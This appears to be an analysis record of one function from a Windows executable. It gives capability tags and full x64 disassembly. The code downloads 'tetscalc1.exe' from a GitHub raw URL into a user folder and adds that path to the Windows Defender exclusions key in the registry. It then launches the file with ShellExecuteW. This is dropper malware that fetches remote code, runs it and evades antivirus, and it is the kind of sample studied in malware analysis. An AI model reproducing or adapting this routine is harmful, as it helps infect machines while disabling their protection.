Function at 0x1400011c0
Capabilities:
Create process on windows
Download url
Get common file path
Receive data
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xb0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor edi, edi
lea r9, [rbp + 0xf]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400032e0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
je 0x140001236
lea eax, [rdi + 1]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.1400017c0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov r14, qword [rbp + 0xf]
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [r14 + rbx*2], di
jne 0x140001250
movabs r15, 0x7ffffffffffffffe
cmp rbx, r15
ja 0x140001550
cmp rbx, 7
ja 0x14000129b
mov qword [rbp - 9], rbx
mov qword [rbp - 1], 7
add rbx, rbx
mov r8, rbx
mov rdx, r14
lea rcx, [rbp - 0x19]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx - 0x19], di
jmp 0x140001348
mov rax, rbx
or rax, 7
cmp rax, r15
jbe 0x1400012b7
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x1400012e9
mov r15, rax
mov ecx, 0xa
cmp rax, rcx
cmovb r15, rcx
lea rcx, [r15 + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140001556
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001315
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001556
mov rcx, rax
call fcn.1400017e0
test rax, rax
je 0x14000140d
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001327
test rcx, rcx
je 0x140001324
call fcn.1400017e0
mov rsi, rax
jmp 0x140001327
mov rsi, rdi
mov qword [rbp - 0x19], rsi
mov qword [rbp - 9], rbx
mov qword [rbp - 1], r15
add rbx, rbx
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rsi], di
mov rsi, qword [rbp - 9]
mov rcx, qword [rbp - 1]
mov rax, rcx
sub rax, rsi
cmp rax, 0xe
jb 0x140001392
lea rax, [rsi + 0xe]
mov qword [rbp - 9], rax
lea rbx, [rbp - 0x19]
cmp rcx, 7
cmova rbx, qword [rbp - 0x19]
lea rcx, [rbx + rsi*2]
mov r8d, 0x1c
lea rdx, str._tetscalc1.exe
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rsi*2 + 0x1c], di
lea rax, [rbp - 0x19]
jmp 0x1400013a9
mov qword [rsp + 0x20], 0xe
mov edx, 0xe
lea rcx, [rbp - 0x19]
call fcn.1400015d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x2f], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rbp - 1]
cmp rdx, 7
jbe 0x140001419
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001414
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001414
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000181c
lea r8, [rbp + 0x1f]
cmp qword [rbp + 0x37], 7
cmova r8, qword [rbp + 0x1f]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.https:__github.com_David2024vip_calc_raw_main_tetscalc1.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x140001501
lea rax, [rbp + 0x17]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 7]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderExclusionsPaths
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400014c7
lea rcx, [rbp + 0x1f]
cmp qword [rbp + 0x37], 7
cmova rcx, qword [rbp + 0x1f]
mov eax, dword [rbp + 0x2f]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rbp + 0x1f]
cmp qword [rbp + 0x37], 7
cmova r8, qword [rbp + 0x1f]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x140001501
mov rcx, qword [rbp + 0xf]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x140001506
mov edi, 1
mov rdx, qword [rbp + 0x37]
cmp rdx, 7
jbe 0x140001549
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001544
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001544
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000181c
mov eax, edi
jmp 0x14000120d
call fcn.1400011a0
int3
call fcn.140001100
int3